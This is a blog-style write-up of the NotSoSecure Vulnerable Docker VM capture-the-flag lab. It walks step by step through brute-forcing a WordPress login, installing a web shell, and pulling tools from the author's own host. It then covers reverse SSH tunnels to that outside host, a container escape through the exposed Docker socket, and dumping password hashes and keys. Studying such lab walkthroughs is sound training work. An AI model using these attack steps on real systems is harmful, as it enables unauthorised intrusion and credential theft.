In the information security world, there are so called CTF (Capture The Flag) challenges. This is mind sport, where you should hack or somehow extract the information from computer systems, in most cases connected with the internet or other network. Strangely, but I never participated in this kind of stuff. Several days ago the company named NotSoSecure posted the CTF challenge called Vulnerable Docker VM. Docker becomes widespread these days, so I decided to try out both Docker and that CTF thing. The quest itself was not competitive — there are no winners or losers, no time limit, so there was no pressure, what is good for beginners like me. VirtualBox image with some Docker infrastructure is provided for you. The goal is to gain control over host system and to find 3 flags. I managed to find only 2 flags and escape from Docker. Below you will find the solution, so if you want to try the challenge yourself, then stop here.

After importing the OVA image and starting the VM, I see Docker ASCII logo and the IP address:

For convenience, let’s add it to /etc/hosts	ctf

First step is obvious, let’s scan the IP address for listening network services:

$ sudo nmap ctf
22/tcp   open  ssh
8000/tcp open  http-alt

Maybe, we can bruteforce SSH password? I used with 10 million password list:

python2 -h ctf -u root -d 10_million_password_list_top_1000000.txt

No luck here.

Let’s go ahead and open http://ctf:8000 in web browser. We’ve got WordPress:

From HTTP headers and HTML we can figure out software versions:

PHP/5.6.31 (latest version, at the moment of writing this article)
Wordpress 4.8.1 (latest version)

Clicking here and there, I noticed some details:

Home leads to
User is BOB.

I was hoping to reset BOB’s password by requesting secret link and sniffing it out of the traffic using tcpdump.

Unfortunately, they disabled mail() function:

The email could not be sent.
Possible reason: your host may have disabled the mail() function.

WordPress is famous for its extensibility. Maybe, there are some vulnerable plugins installed? I’ve googled “wordpress vulnerability scanner” and found wpscan.

Making use of it:

$ docker pull wpscanteam/wpscan
$ docker run -it --rm wpscanteam/wpscan -u http://ctf:8000 --enumerate

[!] Full Path Disclosure (FPD) in 'http://ctf:8000/wp-includes/rss-functions.php'

[!] Title: Akismet 2.5.0-3.1.4 - Unauthenticated Stored Cross-Site Scripting (XSS)
[i] Fixed in: 3.1.5

From here we understand that WordPress is installed under /var/www/html:

Fatal error: Call to undefined function _deprecated_file() in /var/www/html/wp-includes/rss-functions.php on line 8

Also, there is Akismet plugin with minor XSS vulnerability. Let’s skip it for now and better try to bruteforce BOB’s password:

$ docker run -it --rm -v ~/notsosecure:/notsosecure wpscanteam/wpscan -u http://ctf:8000 --wordlist /notsosecure/10_million_password_list_top_1000000.txt --username bob

  [+] [SUCCESS] Login : bob Password : Welcome1

  Brute Forcing 'bob' Time: 00:02:03 <     > (7965 / 1000000)  0.79%  ETA: 04:17:02
  | Id | Login | Name | Password |
  |    | bob   |      | Welcome1 |

Voilà! We’ve got access to WordPress admin panel.

Just by clicking here and there, I found the first flag:

It is time to install some shell. WPTerm is very nice:

Apparently, there is the exploit for Linux 3.13. That’s encouraging, especially if you have gcc on the system, but let’s keep easy track for now.

Database credentials:

www-data:/var/www/html $ grep DB_ wp-config.php
define('DB_NAME', 'wordpress');
define('DB_USER', 'wordpress');
define('DB_PASSWORD', 'WordPressISBest');
define('DB_HOST', 'db:3306');

Trying to reset password for www-data user, no luck:

www-data:/var/www/html $ echo 123 | passwd www-data
(current) UNIX password: passwd: Authentication token manipulation error
passwd: password unchanged
Changing password for www-data.
www-data:/var/www/html $ echo "www-data:123" | chpasswd
chpasswd: (user www-data) pam_chauthtok() failed, error:
Authentication token manipulation error
chpasswd: (line 1, user www-data) password not changed
Changing password for www-data.

Let’s explore local network:

www-data:/var/www/html $ ip r
default via dev eth0 dev eth0  proto kernel  scope link  src
www-data:/var/www/html $ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet scope host lo
       valid_lft forever preferred_lft forever
9: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:ac:12:00:04 brd ff:ff:ff:ff:ff:ff
    inet scope global eth0
       valid_lft forever preferred_lft forever
www-data:/var/www/html $ cat /etc/resolv.conf
options ndots:0
www-data:/var/www/html $ ss -ntp
State      Recv-Q Send-Q        Local Address:Port          Peer Address:Port
ESTAB      0      0        
ESTAB      0      0          users:(("ss",pid=169,fd=14))

Seems like MySQL server is running on

Just ping first IP addresses in this subnet for other hosts:

ping -c1

Docker infrastructure looks like this: = DNS = default gateway = ? = database = wordpress  <- we are here

Request SSH banner from default gateway:

www-data:/var/www/html $ curl -s
SSH-2.0-OpenSSH_6.6p1 Ubuntu-2ubuntu1

Host machine is giving us the same SSH banner:

$ curl -s ctf:22
SSH-2.0-OpenSSH_6.6p1 Ubuntu-2ubuntu1

With high probability, is the IP address of host machine from Docker network side.

Also, this port forwarding is obvious:
ctf:8000 →

Noticing two more interesting banners:

$ curl -s

$ curl -s

Let’s download adminer – similar to phpMyAdmin, but packaged just in one single file:

$ curl -L -o adminer.php

Logging in with password, which was revealed earlier:

Unfortunately, I did not found anything interesting in the database.

For more thorough network scan, we need more powerful tool – nmap. Although we don’t have access to package manager, but we could still download and run it. To make use of it, I downloaded RPM package, extracted nmap binary and uploaded it to my own host on the internet. Downloading it like this:

$ mkdir ctf ; cd ctf
$ curl -o nmap
$ chmod +x nmap

It’s fun time:

$ ./nmap -p-
53/tcp    open  domain
80/tcp    open  http

$ ./nmap -p-
22/tcp   open  ssh
2375/tcp open  unknown  (!!!)
8000/tcp open  unknown

$ ./nmap -p-
22/tcp   open  ssh
8022/tcp open  unknown  (!!!)

$ ./nmap -p-
3306/tcp open  mysql

$ ./nmap -p-
80/tcp    open  http

2375 and 8022 opportunities seem huge to me!

What’s on the port 8022?

$ curl -s

Google tells me about Docker-SSH – some tool for accessing console of Docker containers. It would be great to connect to this SSH. Small problem – it is located inside of the private network. Fortunately, we can bypass this by establishing reverse SSH tunnel from the host, to which we already have access.

To create reverse SSH tunnel, we need SSH client. Let’s download it following the same procedure as for nmap:

$ curl -o ssh-keygen
$ curl -o ssh
$ chmod +x ssh*

We need to generate keypair:

$ yes | ./ssh-keygen -P '' -f /var/www/html/ctf/id_rsa -t rsa

Now we’ve got id_rsa (private key) and (public). Let’s grant access to that new public key by adding it to ~/.ssh/authorized_keys on attacker machine (our own).

Now, creating reverse SSH tunnel is straightforward:

$ ./ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o GlobalKnownHostsFile=/dev/null -v -i id_rsa -R 8022: -fN oioki@

(here is our own host)

Now we can connect to Docker-SSH just by opening localhost:8022 in our browser:

Seems like, gives web access to console of container (database server).

Let’s install usual SSH server for more convenient access:

$ apt-get update
$ apt-get install vim openssh-client openssh-server

Remove unneeded restrictions and change password for root:

$ vim /etc/ssh/sshd_config
PermitRootLogin yes
UsePrivilegeSeparation no
$ passwd
(type 123, for example)
$ /usr/sbin/sshd

Now SSH server is working, but again, it is in the private network. Applying the same solution, reverse SSH tunnel:

$ ssh -R 2222: -fN oioki@

(here we should enter password for our attacker host)
At last, we’ve got “normal” SSH access to this host:

Stalkering the server, I found interesting file /var/run/docker.sock. Seems like, unix socket of the host docker process appeared inside the container somehow. This is huge vulnerability.

To exploit it, let’s use some client capable of working with unix sockets, for example curl or netcat:

$ apt-get install netcat-openbsd

root@13f0a3bb2706:~# echo -e "GET /images/json HTTP/1.0\r\n" | nc -U /var/run/docker.sock
HTTP/1.0 200 OK
Api-Version: 1.30
Content-Type: application/json
Docker-Experimental: false
Ostype: linux
Server: Docker/17.06.0-ce (linux)
Date: Mon, 11 Sep 2017 21:25:15 GMT
Content-Length: 1018


If you were starting Easy mode, then you could achieve the same results by requesting REST API, which is also available from inside of the container:

root@13f0a3bb2706:~# curl

To make working with Docker more convenient, let’s install docker client following official manual.

Look, we can do this from inside of the docker container:

root@13f0a3bb2706:~# docker images
REPOSITORY                 TAG                 IMAGE ID            CREATED             SIZE
wordpress                  latest              c4260b289fc7        5 weeks ago         406MB
mysql                      5.7                 c73c7527c03a        6 weeks ago         412MB
jeroenpeeters/docker-ssh   latest              7d3ecb48134e        5 months ago        43.2MB

root@13f0a3bb2706:~# docker ps
CONTAINER ID        IMAGE                      COMMAND                  CREATED             STATUS              PORTS                  NAMES
8f4bca8ef241        wordpress:latest           "docker-entrypoint..."   2 weeks ago         Up 4 hours>80/tcp   content_wordpress_1
13f0a3bb2706        mysql:5.7                  "docker-entrypoint..."   2 weeks ago         Up 4 hours          3306/tcp               content_db_1
b90babce1037        jeroenpeeters/docker-ssh   "npm start"              3 weeks ago         Up 4 hours          22/tcp, 8022/tcp       content_ssh_1

root@13f0a3bb2706:~# docker exec -it 8f4bca8ef241 hostname         

root@13f0a3bb2706:~# docker exec -it b90babce1037 hostname

Indeed, we have 3 docker containers: wordpress, database and ssh proxy.

To gain access to docker host filesystem, we could use this exploit:

root@13f0a3bb2706:~# docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
Unable to find image 'chrisfosterelli/rootplease:latest' locally
latest: Pulling from chrisfosterelli/rootplease
2de59b831a23: Pull complete 
354c3661655e: Pull complete 
91930878a2d7: Pull complete 
a3ed95caeb02: Pull complete 
489b110c54dc: Pull complete 
Digest: sha256:07f8453356eb965731dd400e056504084f25705921df25e78b68ce3908ce52c0
Status: Downloaded newer image for chrisfosterelli/rootplease:latest

You should now have a root shell on the host OS
Press Ctrl-D to exit the docker instance / shell

The flag could be found instantly:

# ls / 
bin  boot  dev	etc  flag_3  home  initrd.img  lib  lib64  lost+found  media  mnt  opt	proc  root  run  sbin  srv  sys  tmp  usr  var	vmlinuz
# cat /flag_3

Awesome so you reached host

Well done

Now the bigger challenge try to understand and fix the bugs.

If you want more attack targets look at the shadow file and try cracking passwords :P

Thanks for playing the challenges we hope you enjoyed all levels

You can send your suggestions bricks bats criticism or appreciations 

We can do little more. Let’s have a look, who has passwords, and change them:

# vipw -s

# passwd
(type 123, for example)
# passwd whale
(type 123)

Now we can login to VirtualBox SSH and have true root access:

oioki@mars ~/notsosecure $ ssh whale@ctf
whale@ctf's password: (123)
Welcome to Ubuntu 14.04 LTS (GNU/Linux 3.13.0-128-generic x86_64)
whale@vulndocker:~$ su
Password: (123)
root@vulndocker:/home/whale# ip a
1: lo: <loopback,up,lower_up> mtu 65536 qdisc noqueue state UNKNOWN group default 
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <broadcast,multicast,up,lower_up> mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 08:00:27:d9:c7:82 brd ff:ff:ff:ff:ff:ff
    inet brd scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::a00:27ff:fed9:c782/64 scope link 
       valid_lft forever preferred_lft forever
3: br-19017deceb88: <broadcast,multicast,up,lower_up> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:b0:f9:51:31 brd ff:ff:ff:ff:ff:ff
    inet scope global br-19017deceb88
       valid_lft forever preferred_lft forever
    inet6 fe80::42:b0ff:fef9:5131/64 scope link 
       valid_lft forever preferred_lft forever
4: docker0: <no-carrier,broadcast,multicast,up> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:f7:dd:db:1f brd ff:ff:ff:ff:ff:ff
    inet scope global docker0
       valid_lft forever preferred_lft forever
    inet6 fe80::42:f7ff:fedd:db1f/64 scope link 
       valid_lft forever preferred_lft forever
6: veth6dbe194: <broadcast,multicast,up,lower_up> mtu 1500 qdisc noqueue master br-19017deceb88 state UP group default 
    link/ether b2:c2:7d:87:d3:25 brd ff:ff:ff:ff:ff:ff
    inet6 fe80::b0c2:7dff:fe87:d325/64 scope link 
       valid_lft forever preferred_lft forever
8: veth13f2925: <broadcast,multicast,up,lower_up> mtu 1500 qdisc noqueue master br-19017deceb88 state UP group default 
    link/ether a6:6a:d0:ef:af:f4 brd ff:ff:ff:ff:ff:ff
    inet6 fe80::a46a:d0ff:feef:aff4/64 scope link 
       valid_lft forever preferred_lft forever
10: veth4c53066: <broadcast,multicast,up,lower_up> mtu 1500 qdisc noqueue master br-19017deceb88 state UP group default 
    link/ether 3e:77:67:71:64:cc brd ff:ff:ff:ff:ff:ff
    inet6 fe80::3c77:67ff:fe71:64cc/64 scope link 
       valid_lft forever preferred_lft forever

If you are interested, how Docker environment were made, you can have a look at /home/vulndock/content/docker-compose.yml.

At this point, this is so far I was able to reach. I did not managed to find second flag, but here are some other interesting things I’ve found:

1. Crack MySQL root password

In the MySQL container, we have direct access to raw MySQL data. Therefore, we could look up password hashes:

$ apt-get install binutils
$ strings /var/lib/mysql/mysql/user.MYD
	localhost	mysql.sys
%	wordpress

Password for root database user can be googled very easily: Peaches123

2. John the Ripper

They were teasing me like “try cracking passwords”. Here are contents of shadow file with password hashes:


Looks like that’s not so trivial:


There are bunch of *.pem files in /var/lib/mysql of MySQL container:

/ $ docker exec -ti 13f0a3bb2706 ls -la /var/lib/mysql
total 188488
drwxr-xr-x  6 mysql mysql     4096 Sep 12 21:05 .
drwxr-xr-x 32 root  root      4096 Sep 12 21:20 ..
-rw-r-----  1 mysql mysql       56 Aug 16 17:39 auto.cnf
-rw-------  1 mysql mysql     1679 Aug 16 17:39 ca-key.pem
-rw-r--r--  1 mysql mysql     1074 Aug 16 17:39 ca.pem
-rw-r--r--  1 mysql mysql     1078 Aug 16 17:39 client-cert.pem
-rw-------  1 mysql mysql     1675 Aug 16 17:39 client-key.pem
-rw-r-----  1 mysql mysql      667 Aug 22 14:19 ib_buffer_pool
-rw-r-----  1 mysql mysql 50331648 Sep 12 21:50 ib_logfile0
-rw-r-----  1 mysql mysql 50331648 Aug 16 17:39 ib_logfile1
-rw-r-----  1 mysql mysql 79691776 Sep 12 21:50 ibdata1
-rw-r-----  1 mysql mysql 12582912 Sep 12 21:50 ibtmp1
drwxr-x---  2 mysql mysql     4096 Aug 16 17:39 mysql
drwxr-x---  2 mysql mysql     4096 Aug 16 17:39 performance_schema
-rw-------  1 mysql mysql     1675 Aug 16 17:39 private_key.pem
-rw-r--r--  1 mysql mysql      451 Aug 16 17:39 public_key.pem
-rw-r--r--  1 mysql mysql     1078 Aug 16 17:39 server-cert.pem
-rw-------  1 mysql mysql     1679 Aug 16 17:39 server-key.pem
drwxr-x---  2 mysql mysql    12288 Aug 16 17:39 sys
drwxr-x---  2 mysql mysql     4096 Aug 19 04:35 wordpress

Unfortunately, I could not figure out what are they for. Maybe they are just a part of distribution? Silly attempt – setup OpenSSL server and client:

$ sudo openssl s_server -accept 443 -cert server-cert.pem -key server-key.pem -CAfile ca.pem -no_ecdhe
$ openssl s_client -connect localhost:443 -cert client-cert.pem -key client-key.pem

4. Mysterious private key

It is located at SSH proxy container. What is its purpose?

/ $ docker exec b90babce1037 cat id_rsa

5. Host SSH allow for containement

It is allowed passwordless SSH access to docker host for some key. Maybe it is just leftover from NotSoSecure team?

root@e330142972c4:~# cat .ssh/authorized_keys 
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpT+U/LoYIzigCo5HFQR1vzSCXwQciu/pGPDpfj46v4aP6GYwel2jGn0waWViSzVk99CXVXneO0akbwLIyrrXluAcvng6f5vjRWPM46DGibV06ypAI6Y0neRC+oSF2b4D1mizcSlbGqJYNr00YcKETDNr8QFQt0eFS8KmwovtP5pkg3GiotOIbWEFOeQ8V6N/ShNl5wuRuMosESlP+RpzgawSE7KcoTzAJ6LqmUR4wWeW1XfLMaGD6Z4QIkofNyghlQ/SsNDYweSuztM2kqdtVDsEPNCiLgVCQsAWaBiL6sTSWf2ywJtiRocOg6BHy8IymljltOjyQf8g+ky2CLaGx

6. Steganography?

Exploring the host system, I’ve found interesting file /boot/grub/nss.jpg. It is used as a grub boot menu background. That’s what different tools tell about the file:

$ file nss.jpg 
nss.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 72x72, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=9, orientation=upper-left, xresolution=122, yresolution=130, resolutionunit=2, software=Pixelmator 3.6, datetime=2017:08:19 17:08:59], baseline, precision 8, 640x427, frames 3

$ binwalk nss.jpg 
0             0x0             JPEG image data, JFIF standard 1.01
30            0x1E            TIFF image data, big-endian, offset of first image directory: 8
461           0x1CD           Unix path: /"> <rdf:Description rdf:about="" xmlns:xmp="" xmlns:dc="http://
5132          0x140C          Copyright string: "Copyright 2007 Apple Inc., all rights reserved."

I had no ideas how to extract hidden information from this file (if any), so I’ve stopped there.

Maybe you can crack it?

Leave a comment

Your email address will not be published. Required fields are marked *